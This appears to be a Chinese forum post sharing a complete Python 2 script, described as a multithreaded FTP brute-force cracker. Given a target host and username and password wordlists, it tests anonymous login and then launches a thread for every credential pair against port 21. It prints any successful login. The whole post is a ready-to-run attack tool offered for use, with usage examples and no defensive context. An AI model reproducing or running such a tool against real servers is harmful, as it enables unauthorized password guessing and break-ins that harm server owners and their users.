[Python] FTP暴力破解工具多线程版

admin

1. #!/usr/bin/env python
   
2. # -*- coding: gbk -*-
   
3. # -*- coding: utf_8 -*-
   
4. # Date: 2014/9/5
   
5. # Created by 独自等待
   
6. # 博客 http://www.waitalone.cn/
   
7. from threading import Thread
   
8. import ftplib, socket
   
9. import sys, time, re
   
10. 
    
11. 
    
12. def usage():
    
13.     print '+' + '-' * 50 + '+'
    
14.     print '\t    Python FTP暴力破解工具多线程版'
    
15.     print '\t   Blog：http://www.waitalone.cn/'
    
16.     print '\t\t Code BY： 独自等待'
    
17.     print '\t\t Time：2014-09-05'
    
18.     print '+' + '-' * 50 + '+'
    
19.     if len(sys.argv) != 4:
    
20.         print "用法: ftpbrute_mult.py 待破解的ip/domain 用户名列表 字典列表"
    
21.         print "实例: ftpbrute_mult.py www.waitalone.cn user.txt pass.txt"
    
22.         sys.exit()
    
23. 
    
24. 
    
25. def brute_anony():
    
26.     try:
    
27.         print '[+] 测试匿名登陆……\n'
    
28.         ftp = ftplib.FTP()
    
29.         ftp.connect(host, 21, timeout=10)
    
30.         print 'FTP消息: %s \n' % ftp.getwelcome()
    
31.         ftp.login()
    
32.         ftp.retrlines('LIST')
    
33.         ftp.quit()
    
34.         print '\n[+] 匿名登陆成功……\n'
    
35.     except ftplib.all_errors:
    
36.         print '\n[-] 匿名登陆失败……\n'
    
37. 
    
38. 
    
39. def brute_users(user, pwd):
    
40.     try:
    
41.         ftp = ftplib.FTP()
    
42.         ftp.connect(host, 21, timeout=10)
    
43.         ftp.login(user, pwd)
    
44.         ftp.retrlines('LIST')
    
45.         ftp.quit()
    
46.         print '\n[+] 破解成功，用户名：%s 密码：%s\n' % (user, pwd)
    
47.     except ftplib.all_errors:
    
48.         pass
    
49. 
    
50. 
    
51. if __name__ == '__main__':
    
52.     usage()
    
53.     start_time = time.time()
    
54.     if re.match(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', sys.argv[1]):
    
55.         host = sys.argv[1]
    
56.     else:
    
57.         host = socket.gethostbyname(sys.argv[1])
    
58.     userlist = [i.rstrip() for i in open(sys.argv[2])]
    
59.     passlist = [j.rstrip() for j in open(sys.argv[3])]
    
60.     print '目  标：%s \n' % sys.argv[1]
    
61.     print '用户名：%d 条\n' % len(userlist)
    
62.     print '密  码：%d 条\n' % len(passlist)
    
63.     brute_anony()
    
64.     print '\n[+] 暴力破解测试中……\n'
    
65.     thrdlist = []
    
66.     for user in userlist:
    
67.         for pwd in passlist:
    
68.             t = Thread(target=brute_users, args=(user, pwd))
    
69.             t.start()
    
70.             thrdlist.append(t)
    
71.             time.sleep(0.009)
    
72.     for x in thrdlist:
    
73.         x.join()
    
74.     print '[+] 破解完成，用时： %d 秒' % (time.time() - start_time)
    

复制代码